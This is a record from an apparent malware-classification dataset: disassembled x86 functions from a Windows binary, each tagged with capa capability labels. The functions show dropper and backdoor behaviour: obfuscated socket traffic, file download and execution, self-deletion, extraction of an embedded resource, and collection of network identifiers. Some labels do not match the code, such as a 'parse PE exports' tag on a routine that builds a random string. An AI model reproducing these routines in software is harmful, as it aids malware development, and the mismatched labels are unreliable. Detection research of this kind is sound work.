joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d30
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x402e4e
push 0xb69
call fcn.00409baf
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xb69
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402e41
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x30]
test eax, eax
jl 0x402da9
jg 0x402d9d
test ecx, ecx
jbe 0x402da9
mov ebx, dword [esi + 0x38]
mov ebp, dword [esi + 0x3c]
mov edx, ecx
mov edi, eax
jmp 0x402dad
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xbd]
cmp eax, edi
mov ecx, dword [esi + 0xb9]
jl 0x402dd7
jg 0x402dc3
cmp ecx, edx
jbe 0x402dd7
mov ebx, dword [esi + 0xc1]
mov ebp, dword [esi + 0xc5]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x146]
cmp eax, edi
mov ecx, dword [esi + 0x142]
jl 0x402e01
jg 0x402ded
cmp ecx, edx
jbe 0x402e01
mov ebx, dword [esi + 0x14a]
mov ebp, dword [esi + 0x14e]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1cf]
cmp eax, edi
mov ecx, dword [esi + 0x1cb]
jl 0x402e2b
jg 0x402e17
cmp ecx, edx
jbe 0x402e2b
mov ebx, dword [esi + 0x1d3]
mov ebp, dword [esi + 0x1d7]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00416f10
mov dword [esp + 0x10], eax
test esi, esi
je 0x402e4e
push esi
call fcn.004097f3
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402e70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x402ec1
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x403120
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.00409770
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41f9d8]
fadd qword [0x41f9f0]
call fcn.00416e60
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x403240
call fcn.00409770
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41f9d8]
fmul qword [0x41f9e8]
fadd qword [0x41f9e0]
call fcn.00416e60
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x403228
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x403219
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403210
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x4031d7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x403250
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x41dcd0
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.00409108
add esp, 0xc
test eax, eax
je 0x403274
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040a942
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040a84a
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0040a942
lea ebp, [esi + 0x32]
push ebp
call fcn.00409a7b
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.004093fb
mov eax, dword [esp + 0x40]
push eax
call fcn.0040948f
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403320
mov ecx, dword [esp + 0x4c]
push 0x41dcdc
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.00409108
add esp, 0x40
test eax, eax
je 0x4032f2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.0040966d
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040948f
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x403370
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x320
mov eax, dword [0x421040]
xor eax, esp
mov dword [esp + 0x31c], eax
mov eax, dword [0x41de88]
mov ecx, dword [0x41de8c]
mov edx, dword [0x41de90]
push 0x103
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov ax, word [0x41de94]
lea ecx, [esp + 0x15]
push 0
push ecx
mov dword [esp + 0x14], edx
mov word [esp + 0x18], ax
mov byte [esp + 0x1c], 0
call fcn.0040c0e0
push 0x103
lea edx, [esp + 0x125]
push 0
push edx
mov byte [esp + 0x12c], 0
call fcn.0040c0e0
push 0x103
lea eax, [esp + 0x235]
push 0
push eax
mov byte [esp + 0x23c], 0
call fcn.0040c0e0
add esp, 0x24
lea ecx, [esp + 0x114]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403415
push esi
push edi
lea edi, [esp + 0x11c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403428
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x104
lea edx, [esp + 0x1c]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x224]
push 0x104
push ecx
call fcn.0040a477
lea edx, [esp + 0x22c]
push 0x5c
push edx
call fcn.0040a680
add esp, 0x14
test eax, eax
je 0x403482
mov byte [eax], 0
lea eax, [esp + 0x11c]
push 0x41de98
push eax
call fcn.0040a460
mov esi, eax
add esp, 8
test esi, esi
je 0x4035e4
push esi
push 1
push 9
push 0x41de9c
call fcn.0040966d
push esi
push 1
push 5
push 0x41dea8
call fcn.0040966d
lea eax, [esp + 0x38]
add esp, 0x20
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034d0
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.0040966d
push esi
push 1
push 2
push 0x41deb0
call fcn.0040966d
push esi
push 1
push 0xa
push 0x41deb4
call fcn.0040966d
lea eax, [esp + 0x48]
add esp, 0x30
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403510
push esi
sub eax, edx
push 1
push eax
lea edx, [esp + 0x24]
push edx
call fcn.0040966d
push esi
push 1
push 0xf
push 0x41dec0
call fcn.0040966d
push esi
push 1
push 7
push 0x41ded0
call fcn.0040966d
lea eax, [esp + 0x250]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403552
push esi
sub eax, ecx
push 1
push eax
lea eax, [esp + 0x22c]
push eax
call fcn.0040966d
push esi
push 1
push 3
push 0x41deb0
call fcn.0040966d
push esi
push 1
push 5
push 0x41dea8
call fcn.0040966d
lea eax, [esp + 0x14c]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403597
push esi
sub eax, ecx
push 1
push eax
lea ecx, [esp + 0x128]
push ecx
call fcn.0040966d
push esi
push 1
push 1
push 0x41ded8
call fcn.0040966d
push esi
call fcn.0040948f
add esp, 0x24
push 0
push 0
push 0
lea edx, [esp + 0x128]
push edx
push 0x41dedc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x324]
pop edi
pop esi
xor ecx, esp
call fcn.00408fb6
add esp, 0x320
ret
Function at 0x4038f0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x403969
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403941
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403972
cmp ebx, 3
jb 0x403905
mov edi, 0xfffffffd
test esi, esi
je 0x403961
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40394c
mov eax, esi
test esi, esi
je 0x4039de
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40398c
cmp dword [eax + 0x1c], 0
jne 0x403997
mov eax, dword [eax + 8]
test eax, eax
jne 0x403981
xor edi, edi
jmp 0x403951
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403951

Function at 0x403d40
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x421040]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403e80
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x403e5d
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040c0e0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.0040c0e0
add esp, 0xc
lea esi, [esp + 8]
call fcn.00403c30
push 0x41dccc
mov ecx, esi
push 0x104
push ecx
call fcn.00408fc5
add esp, 0xc
mov esi, 0x4231b0
cmp word [esi], 0
je 0x403dfc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004096ef
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.00408fc5
add esp, 0xc
add esi, 0x118
cmp esi, 0x423728
jl 0x403dc6
mov esi, 0x4231b0
nop
cmp word [esi], 0
je 0x403e21
push ebx
push edi
push esi
call fcn.004046e0
add esp, 0xc
add esi, 0x118
cmp esi, 0x423728
jl 0x403e10
push 0x423da0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00408fc5
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403e5b
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.00408fb6
add esp, 0x41c
ret
Function at 0x404090
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x421040]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [esp + 0x9b8]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x4040bb
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4040f0
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00408fb6
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x4040d8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x40412c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, ebx
je 0x404185
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x9b8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404185
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00408fb6
add esp, 0x9b0
ret
mov eax, dword [esi]
cmp eax, ebx
je 0x404194
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00408fb6
add esp, 0x9b0
ret

Function at 0x4042f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404372
cmp edi, eax
jle 0x40431d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404310
lea ebx, [edi + 7]
push ebx
call fcn.00409baf
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x422064]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x422068]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.0040ce00
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404376
cmp eax, ebx
jne 0x404376
mov dword [esp + 0xc], 1
jmp 0x404376
mov esi, dword [esp + 0x14]
test esi, esi
je 0x404383
push esi
call fcn.004097f3
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404550
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x421040]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x404591
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4046ad
test edx, edx
je 0x4046ad
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.0040c0e0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4046c5
test eax, eax
je 0x4046c5
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00409baf
add esp, 4
mov ebx, eax
test edi, edi
jle 0x40469b
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404679
test eax, eax
je 0x404679
add esi, eax
cmp edi, esi
jg 0x404604
cmp esi, 5
jl 0x40469b
mov ecx, dword [0x422064]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x40469b
mov dl, byte [ebx + 4]
cmp dl, byte [0x422068]
jne 0x40469b
test esi, esi
jle 0x40465c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404650
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x404681
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.0040ce00
mov dword [edi], esi
jmp 0x404690
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40469b
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.0040ce00
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4046a8
push ebx
call fcn.004097f3
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00408fb6
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00408fb6
add esp, 0x8d8
ret
Function at 0x404960
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00413af0
mov eax, dword [0x421040]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x4049b8
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00408fb6
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x4049f7
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4049f6
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.0040966d
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x4049c0
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.0040948f
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00408fb6
add esp, 0x100c
ret

Function at 0x404a30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x41ddfc
mov edi, eax
push 0x84
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x404aa3
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00409baf
push esi
mov edi, eax
push 0
push edi
call fcn.0040c0e0
push esi
push ebp
push edi
call fcn.0040ce00
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x404ab0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404ae1
mov eax, ebx
call fcn.00404bc0
cmp eax, edi
jne 0x404ae1
lea eax, [esi + 1]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.00409a7b
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.00404c20
add esp, 8
test eax, eax
je 0x404bac
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040975e
add esp, 4
call fcn.00409770
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x41f9d8]
fmul qword [0x41fa00]
fadd qword [0x41f9f8]
call fcn.00416e60
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.00403320
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.00404da0
mov esi, eax
cmp esi, 0xffffffff
je 0x404baa
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x404b89
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x404baa
push ebp
mov esi, ebx
call fcn.0040999e
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.0040999e
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x404bc0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push closesocket
or edi, 0xffffffff
push eax
or ebx, edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, edi
jne 0x404bf2
or eax, edi
or edx, edi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x404c0b
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x404da0
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call edi
cmp eax, 0xffffffff
je 0x404df3
push esi
call edi
cmp eax, 0xffffffff
je 0x404dee
test al, 1
je 0x404dbe
xor eax, 1
test al, 4
je 0x404dc5
xor eax, 4
test al, 2
je 0x404dcc
xor eax, 2
test al, 0x20
je 0x404dd3
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x404df3
or eax, 0xffffffff
pop edi
ret
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
ret